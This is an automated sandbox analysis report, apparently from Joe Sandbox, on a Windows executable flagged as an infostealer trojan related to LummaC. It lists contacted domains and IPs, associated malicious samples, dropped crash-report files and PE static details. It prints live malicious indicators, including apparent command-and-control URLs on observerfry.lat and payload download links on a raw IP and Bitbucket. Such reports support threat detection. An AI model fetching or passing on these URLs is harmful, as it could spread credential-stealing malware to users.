https://observerfry.lat/pi8os;g	iaLId0uLUw.exe, 00000000.00000003.2284290826.0000000001065000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	iaLId0uLUw.exe, 00000000.00000003.2126276115.00000000056BB000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126010108.00000000056BE000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126107439.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	iaLId0uLUw.exe, 00000000.00000003.2182012824.00000000059A1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dz8aopenkvv6s.cloudfront.net	iaLId0uLUw.exe, 00000000.00000002.2754772662.0000000001066000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	iaLId0uLUw.exe, 00000000.00000003.2126276115.00000000056BB000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126010108.00000000056BE000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126107439.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.micro	iaLId0uLUw.exe, 00000000.00000003.2284172195.000000000104D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://observerfry.lat/fonpo	iaLId0uLUw.exe, 00000000.00000002.2754874613.000000000106D000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2362480430.0000000001056000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2284290826.0000000001065000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2375947604.0000000001063000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2376314700.000000000106C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.net	iaLId0uLUw.exe, 00000000.00000002.2754772662.0000000001066000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bitbucket.org/mynewworkspace123312/scnd/downloads/FormattingCharitable.exeU	iaLId0uLUw.exe, 00000000.00000003.2362480430.0000000001056000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2375947604.0000000001063000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000002.2754772662.0000000001066000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.cookielaw.org/	iaLId0uLUw.exe, 00000000.00000002.2754772662.0000000001066000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	iaLId0uLUw.exe, 00000000.00000003.2180847977.000000000573A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/;	iaLId0uLUw.exe, 00000000.00000002.2754772662.0000000001066000.00000004.00000020.00020000.00000000.sdmp	false		high
https://remote-app-switcher.stg-east.frontend.public.atl-paas.net	iaLId0uLUw.exe, 00000000.00000003.2376314700.000000000106C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bbuseruploads.s3.amazonaws.com/7dd;	iaLId0uLUw.exe, 00000000.00000003.2362480430.0000000001056000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2375947604.0000000001063000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2376314700.000000000106C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	iaLId0uLUw.exe, 00000000.00000002.2754874613.000000000106D000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2362480430.0000000001056000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2375947604.0000000001063000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2376314700.000000000106C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	iaLId0uLUw.exe, 00000000.00000003.2126276115.00000000056BB000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126010108.00000000056BE000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126107439.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bbuseruploads.s3.amazonaws.com/	iaLId0uLUw.exe, 00000000.00000002.2754874613.000000000106D000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2362480430.0000000001056000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2375947604.0000000001063000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2376314700.000000000106C000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.199.72	observerfry.lat	United States	13335	CLOUDFLARENETUS	false
3.5.17.0	s3-w.us-east-1.amazonaws.com	United States	14618	AMAZON-AESUS	false
185.166.143.50	bitbucket.org	Germany	16509	AMAZON-02US	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580283
Start date and time:	2024-12-24 08:41:31 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	iaLId0uLUw.exe renamed because original name is a hash value
Original Sample Name:	473570eb1c8cf7a66605ce6a3c72bb91.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@2/5@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.65.92, 13.107.246.63, 172.202.163.200, 20.190.147.7
Excluded domains from analysis (whitelisted): onedsblobprdeus17.eastus.cloudapp.azure.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, login.live.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:42:28	API Interceptor	22x Sleep call for process: iaLId0uLUw.exe modified
02:43:32	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
172.67.199.72	ElmEHL9kP9.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	yO9EAqDV15.exe	Get hash	malicious	LummaC	Browse
	Collapse.exe	Get hash	malicious	LummaC	Browse
	ZysXVT72cl.exe	Get hash	malicious	LummaC	Browse
	NAnOVCOt4L.exe	Get hash	malicious	LummaC	Browse
	t8cdzT49Yr.exe	Get hash	malicious	LummaC	Browse
	zLP3oiwG1g.exe	Get hash	malicious	LummaC	Browse
	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse
185.166.143.50	yuij5p5p3W.exe	Get hash	malicious	LummaC	Browse
	NAnOVCOt4L.exe	Get hash	malicious	LummaC	Browse
	FBmz85HS0d.exe	Get hash	malicious	LummaC	Browse
	Yh6fS6qfTE.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	V7giEUv6Ee.bat	Get hash	malicious	Unknown	Browse
	GdGXG0bnxH.exe	Get hash	malicious	Unknown	Browse
	fIPSLgT0lO.exe	Get hash	malicious	Remcos	Browse
	pPLwX9wSrD.exe	Get hash	malicious	Remcos	Browse
	ozfqy8Ms6t.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s3-w.us-east-1.amazonaws.com	yuij5p5p3W.exe	Get hash	malicious	LummaC	Browse	54.231.128.9
	http://plnbl.io/review/FSUQBEfTfzwH	Get hash	malicious	Unknown	Browse	54.231.128.17
	NAnOVCOt4L.exe	Get hash	malicious	LummaC	Browse	3.5.27.149
	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse	3.5.29.203
	OtHVIQ2ge4.exe	Get hash	malicious	LummaC	Browse	52.217.75.84
	fr2Mul3G6m.exe	Get hash	malicious	LummaC	Browse	3.5.25.145
	payment_3493.pdf	Get hash	malicious	Unknown	Browse	3.5.29.153
	FBmz85HS0d.exe	Get hash	malicious	LummaC	Browse	3.5.25.82
	BJQizQ6sqT.exe	Get hash	malicious	LummaC	Browse	3.5.29.90
	jSFUzuYPG9.exe	Get hash	malicious	LummaC	Browse	52.216.152.124
bitbucket.org	yuij5p5p3W.exe	Get hash	malicious	LummaC	Browse	185.166.143.50
	NAnOVCOt4L.exe	Get hash	malicious	LummaC	Browse	185.166.143.50
	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse	185.166.143.48
	OtHVIQ2ge4.exe	Get hash	malicious	LummaC	Browse	185.166.143.49
	fr2Mul3G6m.exe	Get hash	malicious	LummaC	Browse	185.166.143.49
	payment_3493.pdf	Get hash	malicious	Unknown	Browse	185.166.143.48
	FBmz85HS0d.exe	Get hash	malicious	LummaC	Browse	185.166.143.50
	BJQizQ6sqT.exe	Get hash	malicious	LummaC	Browse	185.166.143.48
	jSFUzuYPG9.exe	Get hash	malicious	LummaC	Browse	185.166.143.49
	mG83m82qhF.exe	Get hash	malicious	LummaC	Browse	185.166.143.49

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-AESUS	armv6l.elf	Get hash	malicious	Unknown	Browse	18.207.104.163
	armv7l.elf	Get hash	malicious	Unknown	Browse	67.202.62.60
	splm68k.elf	Get hash	malicious	Unknown	Browse	54.204.102.197
	nklarm7.elf	Get hash	malicious	Unknown	Browse	54.28.42.221
	splarm7.elf	Get hash	malicious	Unknown	Browse	100.24.223.40
	nklarm5.elf	Get hash	malicious	Unknown	Browse	3.224.102.91
	nabm68k.elf	Get hash	malicious	Unknown	Browse	54.131.226.205
	jklm68k.elf	Get hash	malicious	Unknown	Browse	54.204.102.159
	nabarm.elf	Get hash	malicious	Unknown	Browse	54.41.91.154
	nabarm7.elf	Get hash	malicious	Unknown	Browse	3.225.254.207
CLOUDFLARENETUS	ElmEHL9kP9.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.199.72
	yuij5p5p3W.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	yO9EAqDV15.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	singl6.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.37.173
	HALKBANK EKSTRE.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	eMBO6wS1b5.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.169.205
	qoqD1RxV0F.exe	Get hash	malicious	LummaC	Browse	172.67.195.241
	txUcQFc0aJ.exe	Get hash	malicious	LummaC	Browse	172.67.151.61
	hnskdfgjgar22.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	nabarm5.elf	Get hash	malicious	Unknown	Browse	8.6.115.225
AMAZON-02US	yuij5p5p3W.exe	Get hash	malicious	LummaC	Browse	185.166.143.50
	sh4.nn.elf	Get hash	malicious	Okiru	Browse	54.171.230.55
	mipsel.nn.elf	Get hash	malicious	Okiru	Browse	54.171.230.55
	armv5l.elf	Get hash	malicious	Unknown	Browse	35.163.11.216
	splm68k.elf	Get hash	malicious	Unknown	Browse	3.138.165.134
	nklarm7.elf	Get hash	malicious	Unknown	Browse	3.115.112.216
	splarm7.elf	Get hash	malicious	Unknown	Browse	3.116.167.193
	nklarm5.elf	Get hash	malicious	Unknown	Browse	18.183.83.81
	jklspc.elf	Get hash	malicious	Unknown	Browse	3.110.151.242
	nabspc.elf	Get hash	malicious	Unknown	Browse	54.228.23.120

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	ElmEHL9kP9.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.166.143.50 172.67.199.72 3.5.17.0
	yuij5p5p3W.exe	Get hash	malicious	LummaC	Browse	185.166.143.50 172.67.199.72 3.5.17.0
	yO9EAqDV15.exe	Get hash	malicious	LummaC	Browse	185.166.143.50 172.67.199.72 3.5.17.0
	singl6.mp4.hta	Get hash	malicious	LummaC	Browse	185.166.143.50 172.67.199.72 3.5.17.0
	eMBO6wS1b5.exe	Get hash	malicious	LummaC Stealer	Browse	185.166.143.50 172.67.199.72 3.5.17.0
	qoqD1RxV0F.exe	Get hash	malicious	LummaC	Browse	185.166.143.50 172.67.199.72 3.5.17.0
	txUcQFc0aJ.exe	Get hash	malicious	LummaC	Browse	185.166.143.50 172.67.199.72 3.5.17.0
	Setup.exe	Get hash	malicious	LummaC	Browse	185.166.143.50 172.67.199.72 3.5.17.0
	Adobe GenP 5.exe	Get hash	malicious	LummaC	Browse	185.166.143.50 172.67.199.72 3.5.17.0
	Setup_W.exe	Get hash	malicious	LummaC	Browse	185.166.143.50 172.67.199.72 3.5.17.0

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_iaLId0uLUw.exe_b62f335e9f4d493cdebb7667725677f0a978d7_83bbfbb4_83c7bda6-830c-450f-af46-78bfd79da3ad\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0421997655456134
Encrypted:	false
SSDEEP:	96:IgFY4gklbkgNmsF4ShYoI7JfdQXIDcQvc6QcEVcw3cE/J60+HbHg/8BRTf3Oy1ox:1xbpmI0BU/gjudxqfzuiFTZ24IO8b
MD5:	702F2B95BAD1CA78E08EFBD42DEEA4E1
SHA1:	252AF0E43ED4AE5BEAE41748697DF992D3217AE0
SHA-256:	658E5FFBD8441FEDEB179AF9C97E99B1C7B871584654BAABDBFF74E78D7324D1
SHA-512:	1F750C422197560B1D0F59C9A1C16DADC2F76F7A4D2A8E25AF27938D7665B22EB8FB299640F5F1696C4B0D6EEE2E5A01702BA07409520848334D0F8F37D04453
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.9.4.9.9.7.7.5.8.8.1.5.0.0.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.9.4.9.9.7.7.6.8.1.8.9.8.2.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.3.c.7.b.d.a.6.-.8.3.0.c.-.4.5.0.f.-.a.f.4.6.-.7.8.b.f.d.7.9.d.a.3.a.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.a.1.d.d.7.9.a.-.2.b.5.f.-.4.b.7.f.-.b.e.3.7.-.2.9.4.1.d.5.8.7.d.a.5.c.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.i.a.L.I.d.0.u.L.U.w...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.2.5.8.-.0.0.0.1.-.0.0.1.4.-.9.3.3.d.-.9.a.5.e.d.7.5.5.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.5.2.7.4.d.7.5.5.b.d.5.3.2.2.7.c.f.8.0.4.8.6.1.0.7.d.1.3.5.e.c.0.0.0.0.0.f.f.f.f.!.0.0.0.0.0.7.d.2.4.7.e.a.a.e.1.8.7.f.1.2.b.4.c.3.5.3.8.0.9.a.3.e.b.f.5.c.5.3.0.a.2.f.4.6.!.i.a.L.I.d.0.u.L.U.w...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2F08.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Tue Dec 24 07:42:56 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	287874
Entropy (8bit):	1.4979897396038455
Encrypted:	false
SSDEEP:	768:fB4DZBBPgdUxc2yULx2Fwhb5yqfwI4UC:feDQUx9yA2FwJ5xfwDU
MD5:	11ADDF1A9E3570C605A7E7C90D939215
SHA1:	4F4437409F2986C310B9BA8021F8527CABF1CFFF
SHA-256:	EEFF7B1476A0152BFC5967CFB9A5DA7868D9FCB7AB635B157B34A0E9882F7362
SHA-512:	3CBF1D43FB2BD24D2342AFD077756153CE79FD31C05E433C6499654BA5DC9578666FE4C8E61F30374B667268CDE5E5C770E695266ABD21DD2114DC229C9FA1EF
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ........fjg....................................,....'......D...............`.......8...........T...........PL..2............(...........*..............................................................................eJ......H+......GenuineIntel............T.......X....ejg.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER31D8.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8382
Entropy (8bit):	3.7012455490349305
Encrypted:	false
SSDEEP:	192:R6l7wVeJO66LP6YEIJSU9tgmf41rprZ89bJCsf1jm:R6lXJL6D6YEmSU9tgmf41gJBfM
MD5:	A2B917079658A60834C6D1659C3E00B7
SHA1:	31B742EB4211134FA25B46B5DCD6566DF8CC0232
SHA-256:	F14A16E2E04CA2AF2B6417D4664E70DA6C57A1D47803EABE77AC7044A92BD695
SHA-512:	021AD35DA191771F2B26EDC450A396CD47AE82D95E41C122BE2432DDA86A44AE7B65D91E02FF40065E5FCD7A9D5B727D9F5BA6B6A087FC1255E5F83726B5CDAB
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.6.9.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER31F8.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4624
Entropy (8bit):	4.501856965424721
Encrypted:	false
SSDEEP:	48:cvIwWl8zsaJg77aI9IjWpW8VYbYm8M4JrDLgFBs+q8mn9xprwgxe5d:uIjfoI7eS7V7Jff/Xpxe5d
MD5:	C2D553719FE65C2B72415F5B8C3101E0
SHA1:	1F1BF464789E33507C6E8CC4D0F2E4DC2AD21605
SHA-256:	EC5C314BD755D8730976FA140289E1B21F275520D76771078300A72EE442A6B8
SHA-512:	861EC5762749B9C335069721B7402DC21546B1F436795A941CA52202760D9D11DE5CC8836C6B199BDF6FAA82C3F186D21ADB0E2454B2CD3E2F8960BC4C8832AE
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="645045" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.421557250189802
Encrypted:	false
SSDEEP:	6144:eSvfpi6ceLP/9skLmb0OTMWSPHaJG8nAgeMZMMhA2fX4WABlEnNM0uhiTw0:9vloTMW+EZMM6DFyy03w0
MD5:	508D749FBBAD3A54B7F5D45D49F35B6E
SHA1:	00C4064E60A086E78CAF70DA638860431561F6A4
SHA-256:	7E0E7EC7D0A2CD4356C7E300289EBB6E967558E6CD34A0DF018AD734AB9F0AE3
SHA-512:	FD62A3E4714CE66B2842A398AD42C81C2E647A71810A87D66FE7BEF357DB01B32518F2DDBCDB22BB238AB31B79E2546ED71D70D120EE3FF226E4F23CE778B79A
Malicious:	false
Reputation:	low
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmV..r.U..............................................................................................................................................................................................................................................................................................................................................'..F........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.525270427494353
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	iaLId0uLUw.exe
File size:	2'909'696 bytes
MD5:	473570eb1c8cf7a66605ce6a3c72bb91
SHA1:	07d247eaae187f12b4c353809a3ebf5c530a2f46
SHA256:	d0fb14b5ca4bd2b55e77a0a8e074d24be98db01cb035be9f29105235e6571029
SHA512:	4bde73fb59226e948a68076ac37d160e36e4920eea31bd1e3e09c3837f863295472498991db5fc83b4f9c49c1d5048a8ef2b1948e2d36d3ccd687dad0b7bd851
SSDEEP:	49152:fg/D8rPthmapJHe+QirzPQoXdj3cg+Pl:I/wrFh5pJaIXXR3H+Pl
TLSH:	ABD53CB2B80971CBE48A17F98527CDC69B5D07B9472048C3986CB4BA7D67CC129BBD34
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig.............................0/...........@..........................`/.......,...@.................................Y@..m..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x6f3000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FA9487E593Ah
cmove ebp, dword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FA9487E7935h
inc ecx
push bx
dec esi
dec ebp
das
xor al, 36h
dec edi
bound ecx, dword ptr [ecx+4Ah]
dec edx
insd
push edi
dec eax
dec eax
jbe 00007FA9487E59A2h
push esi
dec edx
popad
je 00007FA9487E599Bh
push edx
dec esi
jc 00007FA9487E59AAh
cmp byte ptr [ebx], dh
push edx
jns 00007FA9487E5977h
or eax, 49674B0Ah
cmp byte ptr [edi+43h], dl
jnc 00007FA9487E597Dh
bound eax, dword ptr [ecx+30h]
pop edx
inc edi
push esp
push 43473163h
aaa
push edi
dec esi
xor ebp, dword ptr [ebx+59h]
push edi
push edx
pop eax
je 00007FA9487E5987h
xor dl, byte ptr [ebx+2Bh]
popad
jne 00007FA9487E597Ch
dec eax
dec ebp
jo 00007FA9487E5973h
xor dword ptr [edi], esi
inc esp
dec edx
dec ebp
jns 00007FA9487E5980h
insd
jnc 00007FA9487E59A0h
aaa
inc esp
inc ecx
inc ebx
xor dl, byte ptr [ecx+4Bh]
inc edx
inc esp
bound esi, dword ptr [ebx]
or eax, 63656B0Ah
jno 00007FA9487E5988h
push edx
insb
js 00007FA9487E59A1h
outsb
inc ecx
jno 00007FA9487E5982h
push ebp
inc esi
pop edx
xor eax, dword ptr [ebx+36h]
push eax
aaa
imul edx, dword ptr [ebx+58h], 4Eh
aaa
inc ebx
jbe 00007FA9487E597Ch
dec ebx
js 00007FA9487E5973h
jne 00007FA9487E5961h
push esp
inc bp
outsb
inc edx
popad
dec ebx
insd
dec ebp
inc edi
xor dword ptr [ecx+36h], esp
push 0000004Bh
sub eax, dword ptr [ebp+33h]
jp 00007FA9487E598Ch
dec edx
xor bh, byte ptr [edx+56h]
bound eax, dword ptr [edi+66h]
jbe 00007FA9487E596Ah
dec eax
or eax, 506C720Ah
aaa
xor dword ptr fs:[ebp+62h], ecx
arpl word ptr [esi], si
inc esp
jo 00007FA9487E59A3h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
